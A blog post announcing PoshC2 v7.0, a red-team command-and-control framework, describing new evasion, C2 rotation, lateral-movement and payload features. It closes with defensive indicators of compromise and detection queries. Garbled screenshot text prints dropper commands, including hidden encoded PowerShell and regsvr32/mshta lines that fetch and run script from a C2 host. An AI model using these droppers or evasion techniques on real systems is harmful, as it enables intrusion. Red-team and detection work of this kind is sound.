Posts

Introducing PoshC2 v7.0

There have been some big improvements and new features added to PoshC2 and we’re excited to announce the release of PoshC2 v7.0. More and more people have started contributing to the project and every one of those contributions is appreciated!

Download & Documentation

You can download PoshC2 v7.0 here:

The PoshC2 documentation has been also been completely updated to reflect the latest version:

https://labs.nettitude.com/wp-content/uploads/2020/08/2020-08-16_14-39.png

Development and Versioning

Before we launch into some of the exciting changes and new features added in this release, it’s worth mentioning that there have also been significant changes to our development process.

All changes are now being reviewed and merged to the dev branch, with infrequent merges from this branch into the default master branch, only after they have been fully tested and deemed acceptably stable.

This means that operators can choose to use the stable master branch, or trade some stability for cutting edge features by using dev or a feature branch. Details on how to use none-standard branches are in the README, but the crux of it is that the install and update scripts accept a -b parameter which allows you to specify a branch name.

Furthermore, we are more strictly adopting semantic versioning as a versioning scheme. This means that given a version number MAJOR.MINOR.PATCH:

  • A MAJOR version increase means there have been incompatible API changes, so a new project will be required and any third party tools that use PoshC2 may need to be updated.
  • A MINOR version increase will indicate we have added functionality in a backwards compatible manner.
  • A PATCH version increase will indicate we have made backwards compatible bug fixes.

This should provide insight into the nature of changes and allow users of PoshC2 to quickly determine if they would like to update their installation or not.

Project Refactoring

Probably the most significant change for the majority of users will be a complete change to how projects work in PoshC2.

Previously, you had to specify the PoshC2 install path and the projects directory in the configuration file, which was stored in the install directory. Switching projects was none-trivial as you had to back up and reset your configuration file before editing the project location value in it.

PoshC2 v7.0 introduces a new script, posh-project, which is used to manage projects:

This script allows projects to be easily created with descriptive names, in addition to quickly and easily facilitating listing, deleting and switching between them. The install and project directory options in the configuration file have been removed as they are now being programmatically determined.

All PoshC2 projects are now stored under /var/poshc2/ and the configuration file is also stored in this location, allowing easy switching and backups.

Power Status Monitoring (PSM)

Have you ever been running a red team engagement, lost a shell and had absolutely no idea what happened? Did you get kicked out, did they isolate the machine, or has the user just put their laptop to sleep for the evening?

Well, we have, and this is why we created the power status monitoring (PSM) module. The work of Rob Maslen (@rbmaslen), this is a module for the C# implant that can asynchronously inform the operator of the machines status when performing live engagements. It should be noted this module is automatically loaded on start up, so there is no need to force load this module. If you want to check the module out it’s called PwrStatusTracker.dll. Here is an example of the output from a C# implant which has loaded the PSM module.

Machine generated alternative text: Task øøø36 (autoruns) returned against implant 8 on host DTIø9999Xadmin Monitor(screen) has been switched ON Task øøø36 (autoruns) returned against implant 8 on host DTIø9999Xadmin L! J Session has been locked

Machine generated alternative text: Task øøø36 (autoruns) returned against implant 8 on host DTIø9999Xadmin E +1 Session has been unlocked

You can also run getpowerstatus for a particular implant to check the active state of that implant at any time from a power perspective, e.g. whether the laptop is plugged in and/or charging and what percentage – although it may not work with VMs as they often don’t share the battery status in the default configuration.

Machine generated alternative text: DTIø9999Xadmin DTIø9999 (PID: 3916) Ctt 8) getpowerstatus power status ø7/ø7/2ø2ø 14:19:41 BATTERY : SCREEN . MONITOR: Charging LOCKED ON

Here is a full list of actions that are monitored on the remote host when power status monitoring is invoked. Knowing what is happening at all times is an extremely useful tool that will help you make more informed decisions as operators.

  • [!] SHUTDOWN may be imminent. Query End Session has been called
  • [!] SUSPEND may be imminent. QuerySuspend has been called
  • [!] SUSPEND/SLEEP, machine has been hibernated
  • [!] WARNING: Battery has only 65% charge
  • [!] CRITICAL BATTERY: 10% charge left
  • [!] DISCHARGING the battery now. AC has been unplugged
  • [+] Console session has been connected to
  • [-] Console session has been disconnected from
  • [+] Remote connection has been made to the machine (RDP)
  • [-] Remote connection has been dropped (RDP)
  • [+] A user has logged on
  • [!] A user has logged off
  • [!] Session has been locked
  • [+] Session has been unlocked
  • [-] Session remote control status has changed
  • [+] Monitor(screen) has been switched ON
  • [!] Monitor(screen) has been switched OFF
  • [!] UPS powered now. Machine may turn off at any time
  • [!] Low battery reported
  • [+] Battery has 65% charge
  • [+] Resume from suspend
  • [+] AC is plugged in
  • [!] AC has been unplugged
  • [!] Computer is on a UPS
  • [+] Battery is charging: 10%
  • [+] Battery Percent: 10%
  • [+] Battery Status: 10%

It should be noted, however, that the shutting down message is essentially in a race against the actual shutdown event and sometimes may not trigger before the host fully switches off. Similarly, if the user disconnects from the network then obviously notifications cannot be sent. Nonetheless, this feature represents a huge increase in information available to operators that can help provide situational awareness on an engagement.

Communications Improvements

Failover Comms

Failover Comms has been implemented by Doug McLeod (@b4ggio_su) and allows an operator to specify an array of URLs to attempt to egress an environment and establish C2 communications. In previous versions a payload would specify a single URL with which it would try to establish C2 communications and if this failed then the payload would fail. However, having spent time within environments that have a strict lockdown, we have developed a means of cycling through numerous URLs, if required, in order to find a communications channel that can successfully exit the environment.

To enable failover communications, set multiple URLs in the posh-config, by specifying an array of URLs to use in the dropper. An example has been shown below:

PayloadCommsHost: https://www.domainone.com,https://www.domaintwo.com

DomainFrontHeader: www.headerone.com,www.headertwo.com

With the above configuration set, all payloads will now attempt to get out via the first URL-and-header combination, then if this fails it will cycle through the second, third and so on until there are none left or comms has been successfully established.

This will stop on the first successful URL and start the loading of the second stage. This should allow operators to build a number of URLs to use across a variety of categorisations and so on and add a level of redundancy for payloads.

Comms Rotation

Once in the environment and having successfully established communications, operators can enable comms rotation. The idea for rotation is to identify a number of URLs that the operator would like to spread C2 communications over and then randomly communicate over all of them.

This has the added benefits of helping blend into normal traffic and avoid telemetry detections, while also allowing the operator to respond to a client blocking individual C2 URLs when an incident occurs. If you are rotating through multiple URLs and one is blocked then the implant will still be able to communicate with the C2 server via the other URLs. Operators can modify the rotation list on the next call back to change to new URLs, buying time to move again in the environment as quickly as possible.

To assist with identifying URLs that work and can connect back to the C2 server, a PowerShell module has been added that will display the results in the server window.

invoke-urlcheck -urls https://URLOne.com,https://URLTwo.com -domainfront domainone.cloudfront.net,domaintwo.cloudfront.net -uri /en-gb/surface/accessories/

Once this is executed you will see the following hits on the C2 server for successful callbacks.

27/03/2020 09:30:55: The URL: https://URLOne.com successfully connected 27/03/2020 09:30:56: The URL: https://domainone.cloudfront.net successfully connected

Once a list of valid URLs has been determined, the operator can enable comms rotation with the command enable-rotation. This will then prompt the operator for the URL and Host Header lists.

PS 001> enable-rotation Domain or URL in array format: https://domainone.com,https://domaintwo.com 

Domain front URL in array format: domainone.com,domaintwo.com

Operators can also use get-rotation to see what URLs are being cycled through at any given time when rotation is enabled. One note is that rotation configuration is only in-memory and any persistence schemes will need updating if new URLs should be used for them.

C# PBind Implants

Another feature from Doug McLeod (@b4ggio_su) is the long awaited update to the PowerShell variant of PBind. The PBind project, which offers lateral movement capability through SMB named pipes, has now been converted over to C# and full integration added as a standalone implant type.

The C# PBind implant is fully incorporated into the ImplantHandler and now sports its own handler with an implant registering in blue in the console. Furthermore, PBind is included in the full array of payloads and includes its own DLLs, EXEs and Shellcode for use by the operator.

The PBind implant extends the C# implant and the same functionality applies, allowing operators to load and run C# modules in memory in the same way they’re used to.

To use PBind, launch one of the PBindSharp payloads or inject the shellcode and a named pipe will be created on the target. The default values for the pipe name and secret are configurable in the configuration file. Then, connect to the pipe from another implant with access to that pipe using pbind-connect. The pipe name and secret do not have to be specified if the defaults are being used:

pbind-connect hostname

Machine generated alternative text: Seen: Seen : Seen: 07/07/2020 ø7/ø7/2Ø2ø 07/07/2020 14: 14: 14: 33: 33: 33: ø3 ø2 02 I PID: I PID: I PID: 4456 11712 11656 I URL ID: I URL ID: I URL ID: 1 | DTIØ9999Xadmin DTIØ9999 (AMD") ps 1 | DTIø9999Xadmin DTIø9999 (AMD") IPSMI PBind I DTIØ9999Xadmin* DTIØ9999 (AMD64) ctt;PB 'Parent: 101

A PBind implant will connect and be displayed in blue and can then be used in the expected way.

Payload Generation

Extendable Payload Generation

We have spent some time refactoring the payload generation module so that it can be extended by the operator if they wish to customise their own payloads or for any future pull requests that are submitted. Adding new payload types is now incredibly straightforward, and more work is planned to simplify it further and homogenise payload creation.

The first customisation is that when you create a full set of payloads it will create you all five implant types in both x86 and x64 bit architectures for each payload type, that’s why you may notice a larger set of payloads that are generated:

  • Posh_v2
  • Posh_v4
  • Sharp_v4
  • PBind_v4
  • PBindSharp_v4

On top of this we now compile any “*.c” or “*.dll.c” file and compile accordingly as either an EXE or DLL respectively, replacing placeholders with payload specific shellcode. This will allow the operators to have an opportunity to customise their droppers and add Anti-Virus bypasses, custom environmental detections or AMSI unhooking that they wish to add before the shellcode injection.

To take a look at code, here is part of the default C template that is added.

https://labs.nettitude.com/wp-content/uploads/2020/08/word-image.png

As you can see in the file there is a “#REPLACEME#” text section which gets replaced before compilation. This will add a char array with a name of “sc” which can be used later in the code for shellcode injection, after you have done your own code checks or bypasses. This will allow operators to customise their own payloads to have better success with the droppers:

Machine generated alternative text: char sco Xx1@Xxc3Xx55Xx8bXxecXx83XxecXx18Xx53Xx56Xx57Xx68"

Additionally, brand new payload types can be added by adding a new module to poshc2/server/payloads. Any python3 module in this directory will be loaded and a create_payloads(payloads, name) function executed with the payload information and name. See poshc2/server/payloads/Macro-Payloads.py for an example.

Simply dropping in a new module and a new payload-template allows for brand new payload types to be easily added, easily extending PoshC2’s already considerable payload list.

We plan to do a lot more in this space to allow any file full customisation, e.g. HTA files, macro files and more. We will release more documentation and information on this in the coming months.

Donut Shellcode Integration

We have seen some great work by @TheWover & @odzhan in their creation of the Donut shellcode generator and wanted to integrate this into PoshC2 so it can generate smaller and more customisable shellcode options for use. This was actually a really easy integration given a Donut pip module had been created and because of the payload refactor. See https://github.com/TheWover/donut for details.

Machine generated alternative text: Donut shellcode files . _ Project/payloads/posh _ Project/payloads/posh _ Project/payloads/posh _ Project/payloads/posh _ Project/payloads/posh _ Project/payloads/posh _ Project/payloads/posh _ Project/payloads/posh v2 v2 v2 v2 Donut Donut Donut Donut Donut Donut Donut Donut x86 x86 x 64 x 64 x86 x86 x 64 x 64 Shellcode . Shellcode . Shellcode . Shellcode . Shellcode . Shellcode . Shellcode . Shellcode . b64 bin b64 bin b64 bin b64 bin Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload written written written written written written written written written written written written written written written written written written written written to: to: to: to: to: to: to: to: to: to: to: to: to: to: to: to: to: to: to: to: /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 b64 bin b64 bin _ Project/pay10ads/PBind v4_Donut x86 Shellcode . b64 _ Project/pay10ads/PBind v4 Donut x86 Shellcode . bin _ Project/pay10ads/PBind v4_Donut x64 Shellcode . b64 _ Project/pay10ads/PBind v4 Donut x64 Shellcode . bin _ Project/pay10ads/Sharp_v4_Donut x86 Shellcode . b64 _ Project/pay10ads/Sharp_v4_Donut x86 Shellcode . bin _ Project/pay10ads/Sharp_v4_Donut x64 Shellcode . b64 _ Project/pay10ads/Sharp_v4_Donut x64 Shellcode . bin _ Project/pay10ads/PBindSharp_v4_Donut x86 Shellcode . _ Project/pay10ads/PBindSharp_v4_Donut x86 Shellcode . _ Project/pay10ads/PBindSharp_v4_Donut x64 Shellcode . _ Project/pay10ads/PBindSharp_v4_Donut x64 Shellcode .

As a result of these new payloads, the payload generation takes a bit longer, however…

Quick Shellcode Generation

Given the new payload types and extensibility, in addition to the large number of payloads already created by PoshC2, we have also created a createnewshellcode command. This command works in the exact same way as createnewpayload except that it only creates the minimal set of payloads required to generate the shellcode files.

In situations where operators only want the shellcode files for custom launchers or injection, this command will save time and the payloads directory becoming bloated with unnecessary payloads.

Both of these commands also allow new or different failover comms and PBind pipe names to be set.

AMSI & ETW Patching in Shellcode

The shellcode itself has also been updated, with an AMSI bypass and ETW patch (nod to xpn) added to improve the success rate and stealth of PoshC2 payloads by default. Now, when inspecting the .NET assemblies for an implant process they are not loaded or displayed:

https://labs.nettitude.com/wp-content/uploads/2020/08/word-image-1.png

Payload displaying

A final change to payload generation includes how they are displayed in the C2Server log on creation. We have split out the payloads/droppers that are based on “powershell.exe” and “shellcode” so the operators understand their OPSEC considerations on the endpoint. This is clearly detailed on payload generation as shown below in white.

Machine generated alternative text: Creating Rewrite Rules in: /opt/PoshC2_Project/rewrite-ru1es . txt Payloads/droppers using powershell . exe: Raw Payload written to: /opt/PoshC2_Project/pay10ads/pay10ad . txt Batch Payload written to: /opt/PoshC2_Project/pay10ads/pay10ad . bat powershell -exec bypass -Noninteractive -windowstyle hidden -e nuBTAHkAcwBøAGUAbQAuAE4AZQBøAC4AUwBIAHIAdgBpA EøAUwA- HTA Payload written to: /opt/PoshC2_Project/pay10ads/Launcher .hta Macro Payload written to: /opt/PoshC2_Project/pay10ads/macro. txt regsvr32 /s /n /u /i:https://172.16.ø.1ø5:443/trader-update/_rg scrobj .d11 mshta . exe vbscript :GetObject( "script : https : // 172.16.ø.1ø5 : 443/ trader-update/_cs" Payloads/droppers using shellcode: Ctt Dropper EXE written to: . exe Ctt PBind Dropper EXE written to: . exe Ctt PBind Powershell v4 EXE written to: /opt/PoshC2_Project/pay10ads/dropper_cs_ps_pbind v4.exe Ctt Powershell v2 EXE written to: /opt/PoshC2_Project/pay10ads/dropper_cs_ps v2 .exe Ctt Powershell v4 EXE written to: /opt/PoshC2_Project/pay10ads/dropper_cs_ps_v4.exe C++ DLL Payload Payload Payload Payload Payload Payload Payload DLL Export (VoidFunc) that loads CLR v2.ø.5ø727 or v4.ø.3ø319 - written written written written written written written to: to: to: to: to: to: to: /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 _ Project/payloads/posh v2 x86. d11 _ Project/payloads/posh v2 x64. dil _ Project/payloads/posh v4 x86. dil _ Project/payloads/posh v4 x64. d11 _ Project/pay10ads/Sharp_v4_x86. d11 _ d11 _ Project/pay10ads/PBind v4 x86. d11

Dynamic File Hosting

For a while now we have been wanting to add the ability for operators to host custom files with custom file types without needing to restart the server or to have to host outside of the PoshC2 server. We have now added four new commands which allow you to manage this in your C2 server Implant Handler.

It also has an option to Base64 encode the hosted file when it’s served so that you can write your own droppers or download functions to grab hosted shellcode from the C2 Server and inject it into your own process. You can also use this to host any payload in the payloads folder if you want to expose this on your C2 instance in an easy and logged fashion. Only the specific hosted files are exposed and not directories, and all of the requests to those files are logged into the webserver.log that is in your project folder.

  • add-hosted-file
  • disable-hosted-file
  • enable-hosted-file
  • show-hosted-files

We have also made the mime-type configurable. This is because some defensive capabilities have rules based on mime-type and its often good practise to change this when serving a payload to bypass those defences.

This feature also allows payloads to be hosted for and accessed through Daisy Chains. By choosing a host URL that starts with the QuickConnectURL (randomly generated from the URL list and printed on server start) then Daisy implants will automatically route this request down the Daisy-chain and to the C2 server to access your hosted file.

Background Tasks

As a red team, we often need to run tasks which can take a while to finish executing. In some instances we may also want to obtain the output on a periodic basis rather than waiting for it to finish. To do this we have introduced a run-exe-background command that can now run any C# module in the background, while receiving the updated output on each beacon.

Please note this is only applicable to our Sharp payloads at present, including the PBindSharp implant type. An example usage could be InveighZero or Rubeus in monitor mode – both of which are fantastic modules that can perform many Man-in-the-Middle type attacks – but you want to run these in the background while doing other tasks.

Here are a few screenshots showing us running InveighZero in a C# implant:

Machine generated alternative text: Task øøø28 loadmodule Task øøø29 (bturner) issued against implant 6 on host DTIø9999Xadmin DTIø9999 (ø7/ø7/2ø2ø 13:58:21) Inveigh . exe (bturner) issued against implant 6 on host DTIø9999Xadmin DTIø9999 (ø7/ø7/2ø2ø 13:58:21) run-exe-background Inveigh . Program Inveigh Task øøø28 (bturner) returned against implant 6 on host DTIø9999Xadmin DTIø9999 (ø7/ø7/2ø2ø 13:58:21) Module loaded successfully Task øøø29 (bturner) returned against implant 6 on host DTIø9999Xadmin DTIø9999 (ø7/ø7/2ø2ø 13:58:21) Running background task

Every time the implant beacons, we receive the output from the command if there has been any console output since the last check-in.

Machine generated alternative text: Background task against implant 6 on host DTIø9999Xadmin DTIø9999 (ø7/ø7/2ø2ø 13:58:25) (output appended t o /opt/PoshC2_Project/reports/background-data . txt) Not high integritys Inveigh ø.91ø started at 2ø2ø-ø7-ø7T13:58:21 Elevated Privilege Mode - Disabled Primary IP Address 172.16.ø.13ø Primary IPv6 Address 2aøø: 23c6: 2c2e: 95ø1 : aca4: 8d94: 9a12 : e2øf Spoofer IP Address - 172.16.ø.13ø 2aøø: 23c6: 2c2e: 95ø1 : aca4: 8d94: 9a12 : e2øf Spoofer IPv6 Address Spoofer MAC Address øøøC29419AAF Packet Sniffer - Disabled Disabled DHCPv6 Spoofer DNS Spoofer For Types A Enabled DNS TTL 3ø LLMNR Spoofer Enabled Disabled LLMNRv6 Spoofer - LLMNR TTL 3ø Disabled mDNS Spoofer NBNS Spoofer For Types øø,2ø NBNS TTL 165 HTTP Capture Enabled HTTP Authentication - NTLM Disabled Proxy Capture - WPAD Authentication - NTLM Enabled - Firefox WPAD NTLM Authentication Ignore List - Disabled SMB Capture Machine Account Capture Disabled File Output - Disabled Log Output Enabled Disabled Pcap Output Previous Session Files - Imported Press ESC to access console

SharpEDRChecker

Ross Bingham (@PwnDexter) has also ported and greatly improved his PowerShell Invoke-EDRChecker to C#.

This incredibly useful tool will enumerate installed programs, services, drivers, processes and process modules and their metadata for indicators of various defensive and threat hunting tools, providing operators with a detailed and reliable indicator of what technologies are on the target.

https://labs.nettitude.com/wp-content/uploads/2020/08/word-image-2.png

The detailed checks this tool performs will discover products deployed in their respective ‘stealth’ modes, such as CarbonBlack and Sysmon, and as the amount of data enumerated is large, a helpful summary is displayed at the end.

https://labs.nettitude.com/wp-content/uploads/2020/08/word-image-3.png

Docker Support

Docker support for PoshC2 has now been significantly improved, with automatic builds being published for master, dev and tagged version branches to both Docker Hub and the GitHub package repository.

https://labs.nettitude.com/wp-content/uploads/2020/08/word-image-4.png

With this and the new projects changes, a local install of PoshC2 is no longer required so the Install-for-Docker.sh script simply adds some scripts to /usr/local/bin and sets up the project directory, with the Docker scripts automatically using the pre-built images unless a specific tag is specified with the t option. This makes using PoshC2 using Docker a very lightweight and reliable option.

Opsec Events

There are often times during and engagement where you want to log an event that isn’t automatically tracked by a C2 framework, such as an incident being raised or a file being manually moved which should be logged to ensure it is tracked for clean up.

For these situations we’ve added Opsec Events. These events are manually added and stored in the database and can be viewed using get-opsec-events as well as in the generated report output.

https://labs.nettitude.com/wp-content/uploads/2020/08/word-image-5.png

URL Handling

Another noteworthy change is regarding how comms URLs are handled and displayed in PoshC2. Previously, when an implant connected it would display what CONNECT URL it used, but there would be no way to know what Host header or Proxy creds and so on were bring used unless you knew specifically which payload had been executed.

In version 7 of PoshC2, implants will list their communications configuration using URL names or IDs, which can be reviewed using the show-urls command.

https://labs.nettitude.com/wp-content/uploads/2020/08/word-image-6.png

https://labs.nettitude.com/wp-content/uploads/2020/08/word-image-7.png

This allows operators to reliably track specifically what communications channel and options are being used throughout and engagement.

Report Generation

Finally, report generation has also been streamlined and the generate-csvs command only generates the quick CSV reports for operators as opposed to the full report set.

The URLs and new Opsec Events tables have also been added to the report generation.

Full Changelog

A large number of other updates and fixes have been added in this version and merged to master, some of which are briefly summarised below. For updates and tips check out @nettitude_labs@benpturner, @m0rv4i and @b4ggio-su on Twitter.

  • Update Help and auto-generate autocompletion
  • README and readthedocs documentation update
  • Add LockLess (https://github.com/GhostPack/Lockless) for handling locked files
  • Fix “Module Loaded Successfully” message regardless of success
  • Change date format to yyyy-mm-dd
  • Shellcode update
  • Add generate-csvs command
  • Payloads cleanup and refactoring
  • Payloads extendability
  • Automatically compile *.dll.c and *.c files in payload-templates
  • Add GitHub actions for build Docker images for Docker Hub and GitHub packages
  • Improve Daisy payload creation
  • Added ETW patching to shellcode
  • Added AMSI bypass to shellcode
  • Added killdate parsing on set-killdate
  • Improve exception handling
  • Pull out common DB code
  • Remove unused Sounds code & config
  • Add opsec events for manual event logging
  • Keep C2 messages for reporting
  • Refactor projects
  • Improve scripts and script reliability
  • Add options to scripts to specify git branch or docker tag
  • Fix dropper.cs key potentially containing / character (thanks to @Flangvik)
  • Fix missing screenshot.dll
  • Add donut shellcode generation
  • Add custom hosted-files
  • Add PowerStatusTracker (thanks to @rbmaslen)
  • C2Server refactoring
  • Added Comms failover and rotation
  • Added run-exe-background for background tasks
  • Add PBindSharp Implant & payloads
  • Removed unused history table
  • Added start of database model for code cleanliness
  • Auto determine offset for payload patching
  • Migrate from requirements.txt to Pipfile
  • Merged get-system and install-persistence in PowerShell implant
  • Consolidate and clean up invoke-* payload commands
  • Link Implants to full URL info using URLIDs
  • Fix infinite loop in PowerShell PBind (thanks to @0x413x4)
  • Misc fixes and refactoring
  • Add SharpAppLocker from @Flangvik (thanks to Tom MacDonald @BaffledJimmy)
  • Add SharpEDRChecker from Ross Bingham @PwnDexter
  • Fix Docker shared volumes and install on Macs
  • Add Ansible task file for building PoshC2 (thanks to @yg-ht, @BaffledJimmy, @benpturner)
  • Remove unhook-amsi command (as this was flagged by AMSI) and bypass now included in shellcode

Detecting PoshC2 – Indicators of Compromise

As a counterpart to the release of PoshC2 version 6.0 we are providing a list of some of its Indicators of Compromise (IoCs), particularly as used out-of-the-box, as well as some other effective methods for detecting it in your environment.

We also introduce the new PoshC2 Detections GitHub repository at https://github.com/nettitude/PoshC2_IOCs that will be continually updated as development continues, in order to assist blue teams with detecting PoshC2, particularly when used by less sophisticated attackers that do not alter or configure it to change the default IoCs. We encourage the community to contribute to and help update and improve this repository.

It is worth noting that PoshC2 is open source, so while these are IoCs for PoshC2 if used it its default state, ultimately it can be altered either through configuration or by changing the source code itself. The default configuration is subject to change, however where possible the location of that value is pointed out to the reader in order to allow these values to be monitored and updated, in addition to providing the GitHub repository.

Communications

One way to detect PoshC2 is to focus on the communications. Compromised hosts have to communicate with the C2 server somehow in order to pick up tasks and return task output. This is unavoidable and PoshC2 can currently only do this through the use of HTTP(S) requests.

That isn’t to say this this makes it easy to detect; a huge amount of HTTP traffic is present in most environments and the flexibility of the protocol allows for traffic to be hidden and routed through legitimate websites using techniques such as Domain Fronting and reverse proxies.

An example of HTTP comms when domain fronting.

An example of HTTP comms when domain fronting.

Something very helpful for catching C2 communications is SSL Inspection. By being able to inspect SSL traffic leaving the perimeter, the contents of that traffic can be checked and statistics acquired for detecting C2 communications. Without this, network defenders are largely blind, particularly against domain fronted communications which travel via legitimate third-party websites.

If SSL Inspection is implemented then the HTTP traffic can be viewed, and while PoshC2 encrypts the contents of the HTTP bodies, the HTTP URLs and headers can still be viewed.

URLs

PoshC2 has two different ways of generating URLs to use for communications. Operators can either use a static list of URLs or provide a wordlist from which random URLs will be generated, and these files are stored at resources/urls.txt and resources/wordlist.txt respectively, with the static URL list being the default option. These URLs are then loaded into the database when the project is first created, and a random URL is chosen by each implant each time it beacons. The default URL list is below:

While these URLs were originally copied from legitimate requests, if you see several of them being repeated to a site, particularly if they do not seem relevant to that site and if the response does not make sense, then it could be PoshC2 beacon traffic.

HTTP Responses

PoshC2 also has static HTML responses that it responds with. The default is six HTTP 200 responses and one 404 response. These are stored in files at resources/responses/ and also loaded into the database when the server is first created. The server responds with a random 200 response to POST requests that do not error or require a specific response, and with the single 404 response to all unexpected URLs or when the C2 server errors. Other responses return context relevant data, such as tasks, implant code and so on.

This static HTML file then at resources/responses/404_response.html is an IoC and if returned from a webserver that you are investigating is suggestive of PoshC2. Similarly, the 200_response* files in the same directory are IoCs if returned by POST requests.

Note however, that it is recommended that operators change these files before creating a PoshC2 project, as is the use of a C2 proxy, so as with the other indicators the absence of this particular response is not unexpected for a PoshC2 installation.

SSL Certificate

PoshC2 by default creates a self-signed certificate for its HTTP server, the values for which are stored in poshc2/server/Config.py file. These values are not in the ‘normal’ configuration file config.yml and are less documented and are therefore harder to change.

An experienced operator will not expose their C2 server to the internet, but will instead use a proxy server with a valid certificate and filter firewall traffic to the C2 server that is not from that proxy, however if these steps are not taken and a certificate with the below values is presented then it is another strong indicator that PoshC2 is in use, likely by less sophisticated adversaries.

The issuer data can be viewed using Chrome and the default values suggest this is a PoshC2 server.

The issuer data can be viewed using Chrome and the default values suggest this is a PoshC2 server.

JA3 Signatures

Another method for signaturing C2 traffic without SSL Inspection is to fingerprint the Client Hello packet that initialises the TCP connection. The specific bytes that make up the packet are dependent upon the type of connection being formed and the underlying packages and methods used to do so.

As these packets are sent before encryption has been established they are cleartext and can be intercepted and read. It turns out that the packet contents are quite unique and can be fingerprinted. Salesforce have an excellent blog post on JA3 fingerprinting, but essentially the details are extracted from the packets that make up this TCP handshake and hashed to create a quick and easy signature, that can be used to identify not only that PoshC2 is in use, but also the specific implant type.

The current Windows 10 PoshC2 signatures are below:

PowerShell: c12f54a3f91dc7bafd92cb59fe009a35

Sharp: fc54e0d16d9764783542f0146a98b300

JA3 fingerprinting has been incorporated into security products such as Splunk and Darktrace to provide quick and easy identification of C2 traffic, and can be utilised with these fingerprints. These fingerprints are available and will be maintained in the PoshC2 Detections GitHub repository.

Telemetry

Another mechanism for detecting C2 traffic, with or without SSL Inspection, is through the use of telemetry.

PoshC2’s default values for beacon time and jitter in the config.yml file are 5 seconds and a 20% jitter, as can be seen below, which is both a fast beacon rate and a small jitter, making it relatively easy to detect using this method.

With these values the implants are going to beacon every 4-6 seconds by default, with an average of 5 seconds.

After capturing some traffic, filtering by the C2 server host and only checking TLS Client Hello packets, we can see that the TLS connection is created roughly every five seconds, confirming what we expect.

We can see the difference between each session initialisation is between 4 and 6 seconds.

We can see the difference between each session initialisation is between 4 and 6 seconds.

By exploring this small sample of data, we can determine that the average time between the requests is 5.05 seconds, with a standard deviation of 0.81 or 16%, close to the 5 second beacon with the 20% jitter we expect from PoshC2’s defaults.

Security products that can provide telemetry data, e.g. Splunk can be used to detect C2 traffic in this way by checking for repetitive beacons at a relatively fixed frequency, whether it’s at the above defaults for PoshC2 or at any frequency, given that it is configurable.

PowerShell Implant

PoshC2 has three implant types; PowerShell, C#, and Python, with the latter being a lightweight implant type mostly intended for compromising *nix hosts.

The PowerShell Implant runs by loading System.Management.Automation.dll, the engine behind PowerShell.exe, into the desired process and executing PowerShell commands directly using this DLL.

The PowerShell implant supports full PowerShell execution from any process (here netsh.exe) by loading System.Management.Automation.dll.

The PowerShell implant supports full PowerShell execution from any process (here netsh.exe) by loading System.Management.Automation.dll.

While this does not utilise PowerShell.exe, bypassing many restrictions and controls, it is still subject to PowerShell specific constraints such as Constrained Language mode and ScriptBlock logging. The latter, in particular, can be used to detect PoshC2 and any other malicious PowerShell commands, whether via PowerShell.exe or otherwise.

Note, however, that ScriptBlock logging was only enabled in PowerShell v5.0 and above, so if PowerShell v2.0 is available on the target then a downgrade attack can be performed and PowerShell 2.0 used, bypassing Constrained Language mode, ScriptBlock logging, AMSI and other controls added in v5.0.

PS Logging

Enabling ScriptBlock logging and Transcript Logging for PowerShell allows logging of processes running PowerShell commands.

There are multiple IoCs here, not least that the Host Application is not PowerShell.exe, as should be expected, but instead netsh.exe.

PowerShell transcripts provide valuable information. Alerting on Host Applications that are not PowerShell.exe is a good way to find PowerShell implants from any C2 framework.

PowerShell transcripts provide valuable information. Alerting on Host Applications that are not PowerShell.exe is a good way to find PowerShell implants from any C2 framework.

Similarly in the Event Viewer for ScriptBlock logging:

PowerShell ScriptBlock logging can reveal a wealth of information, here including the beacon URLs for PoshC2 and again netsh.exe as a host process.

PowerShell ScriptBlock logging can reveal a wealth of information, here including the beacon URLs for PoshC2 and again netsh.exe as a host process.

This also includes the ‘command line’ of the ScriptBlock being executed, which includes the beacon URLs from which a random element is being chosen, therefore listing all the C2 URLs that are in use by this implant.

Aside from the wealth of information ScriptBlock logging provides for any threat hunter, an event command line specific to PoshC2 that can be used to identify the PowerShell implant is below:

The $ServerClean variable is specific to PoshC2 and a clear IoC.

The $ServerClean variable is specific to PoshC2 and a clear IoC.

CommandLine= $ServerClean = Get-Random $ServerURLS

This ScriptBlock is part of the beaconing process and will be repeated frequently in the Event Viewer making it easy to identify.

System.Management.Automation.dll

As mentioned earlier, the PowerShell implant does not function by invoking PowerShell.exe, but instead by loading System.Management.Automation.dll into the implant process.

This means that this is an IoC, and if we find a process that should not have this DLL loaded, particularly if it is an unmanaged code binary (so not .NET) then it is highly likely that this is a process that has been injected into by a PowerShell implant, PoshC2 or otherwise.

System.Management.Automation.dll, the engine behind PowerShell, is a .NET library.

System.Management.Automation.dll, the engine behind PowerShell, is a .NET library.

netsh.exe is a C++ binary and should not be loading .NET libraries.

netsh.exe is a C++ binary and should not be loading .NET libraries.

We can see this DLL loaded into an implant process using Process Hacker:

System.Management.Automation.dll loaded into netsh.exe.

System.Management.Automation.dll loaded into netsh.exe.

Similarly we can view the .NET Assemblies in the process:

We can view the .NET Assemblies in the netsh.exe process and see PowerShell is loaded.

We can view the .NET Assemblies in the netsh.exe process and see PowerShell is loaded.

This tab shouldn’t even be present for a genuine netsh.exe process as it is unmanaged code!

The module is not loaded in a genuine netsh process and the .NET tabs are not available.

The module is not loaded in a genuine netsh process and the .NET tabs are not available.

An operator can be smarter about their migration by injecting into .NET processes, however it is still unlikely that a legitimate process (that isn’t PowerShell.exe) would load System.Management.Automation.dll, so this is a great IoC to look out for in your environment.

This can be implemented at scale by searching for loaded modules in an EDR product, for example in CarbonBlack with a query of:

modload:System.Management.Automation* AND -process_name:powershell.exe AND process_name:powershell_ise.exe

This searches for process with System.Management.Automation.dll or System.Management.Automation.ni.dll (the Native Image version) loaded into a process when that process is not PowerShell.exe or PowerShell_ISE.exe. Other legitimate exclusions may need to be added for your particular environment.

Here we can see various processes that have loaded System.Management.Automation.dll into memory that are likely implants.

